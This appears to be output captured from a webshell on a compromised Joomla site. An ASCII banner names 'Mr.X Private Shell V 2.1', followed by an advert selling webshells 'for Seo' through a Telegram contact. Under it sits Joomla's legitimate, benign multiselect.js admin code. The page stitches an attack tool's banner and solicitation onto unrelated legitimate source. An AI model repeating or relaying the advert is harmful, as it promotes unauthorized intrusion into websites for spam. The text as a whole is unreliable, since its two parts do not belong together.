__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/**
* @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/class JMultiSelect{constructor(e){this.tableEl=e,this.formEl=e.closest("form"),this.rowSelector='tr[class^="row"]',this.boxSelector='input[type="checkbox"][name="cid[]"]',this.checkallToggle=this.tableEl.querySelector('[name="checkall-toggle"]'),this.prevRow=null,this.tableEl.addEventListener("click",c=>{c.target.closest(this.rowSelector)&&this.onRowClick(c)}),this.checkallToggle&&this.checkallToggle.addEventListener("click",({target:c})=>{const t=c.checked;this.getRows().forEach(o=>{this.changeBg(o,t)})})}getRows(){return Array.from(this.tableEl.querySelectorAll(this.rowSelector))}changeBg(e,c){e.classList.toggle("row-selected",c)}onRowClick({target:e,shiftKey:c}){if(e.tagName&&(e.tagName==="A"||e.tagName==="BUTTON"||e.tagName==="SELECT"||e.tagName==="TEXTAREA"||e.tagName==="INPUT"&&!e.matches(this.boxSelector)))return;const t=e.closest(this.rowSelector),o=e.matches(this.boxSelector)?e:t.querySelector(this.boxSelector);if(!o)return;const s=o!==e?!o.checked:o.checked;if(s!==o.checked&&(o.checked=s,Joomla.isChecked(s,this.formEl)),this.changeBg(t,s),c&&this.prevRow){document.getSelection().removeAllRanges();const r=this.getRows(),l=r.indexOf(this.prevRow),i=r.indexOf(t);l>=0&&i>=0&&Math.abs(l-i)>1&&(l<i?r.slice(l,i+1):r.slice(i,l+1)).forEach(n=>{if(n===t)return;const a=n.querySelector(this.boxSelector);a&&a.checked!==s&&(a.checked=s,this.changeBg(n,s),Joomla.isChecked(s,this.formEl))})}this.prevRow=t}}const onBoot=h=>{let e="#adminForm";const c=window.Joomla?Joomla.getOptions("js-multiselect",{}).formName:"";if(c){const t=c[0];e=t!=="."&&t!=="#"?`#${c}`:c}h.querySelectorAll(e).forEach(t=>{t&&!("multiselect"in t.dataset)&&(t.dataset.multiselect="",new JMultiSelect(t))})};onBoot(document),document.addEventListener("joomla:updated",({target:h})=>onBoot(h));